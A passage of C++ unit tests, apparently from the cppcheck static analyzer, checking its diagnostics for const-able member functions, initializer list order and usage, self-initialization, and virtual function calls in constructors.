\" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n 